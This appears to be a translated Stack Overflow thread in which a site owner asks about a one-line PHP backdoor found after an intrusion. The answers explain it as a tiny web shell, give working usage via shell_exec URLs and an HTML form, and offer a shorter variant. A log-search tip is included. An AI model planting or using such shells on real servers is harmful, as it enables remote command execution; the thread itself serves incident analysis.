我在一个PHP文件中找到了黑客留下的一行脚本。它的内容如下:
<?php
($_=@$_GET[2]).@$_($_POST[1]);
?>
任何人都可以提供一些关于这行代码的提示吗?谢谢
答案 0 :(得分:10)
由于问题已暂停,我已将其作为评论发布,现在作为答案:
它是一个PHP shell。如果将其重写为<?php ($_=@$_GET[2]).@$_($_GET[1]); ?>
,则URL file.php?2=shell_exec&1=whoami
将在shell上执行命令whoami
。在您的示例中,一个参数通过POST传递,一个通过GET传递。所以打电话有点困难。
你也可以用它调用其他功能。第一个参数始终是函数名,第二个参数是被调用函数的参数。
显然,它是在http://h.ackack.net/tiny-php-shell.html(https://twitter.com/dragosr/status/116759108526415872)上解释的,但该网站并没有为我加载。
/ edit:如果您可以访问服务器日志文件,则可以搜索它们以查看黑客是否使用了此shell。 shell上的简单egrep "(&|\?)2=.+" logs*
应该可以正常工作。你只能看到执行命令的一半(只有GET,而不是POST),但这可能有助于查看攻击者是否真正使用了他的脚本。
答案 1 :(得分:8)
正如Reeno在评论中所说,它就像一个PHP shell。
将GET变量与键“2”存储在名为$_
的变量中。由于PHP的弱类型性质,我们不需要数字周围的引号。
$_=@$_GET[2]
将$_
视为可调用的函数名称,并以$_POST[1]
作为第一个参数执行它。
@$_($_POST[1])
@
运算符应该禁止错误记录,请参阅PHP.net: Error Control Operators。
两个语句之间的连接运算符实际上并不重要。它可以像这样重写:
$_=@$_GET[2];
@$_($_POST[1]);
调用任意函数。我不会提到成功攻击的具体HTTP头,但对于每个(网络)程序员来说这应该相当容易。
答案 2 :(得分:6)
此代码用于调用PHP函数。举个例子,你的黑客将使用这种形式:
<form method="post" action="http://site.com/page.php?2=shell_exec">
<input name="1" value="ipconfig -all"/>
<input type="submit" value="Send"/>
</form>
然后你会得到这个值:
$_
= $_GET[2]
= shell_exec
$_POST[1]
= ipconfig -all
$_($_POST[1])
= $_("ipconfig -all")
= shell_exec("ipconfig -all")
@
可以禁用错误。
更简单的例子是使用此代码:
<?= @$_GET['c'](@$_GET['p']); ?>
只需拨打http://site.com/page.php?c=shell_exec&p=ipconfig%20-all即可。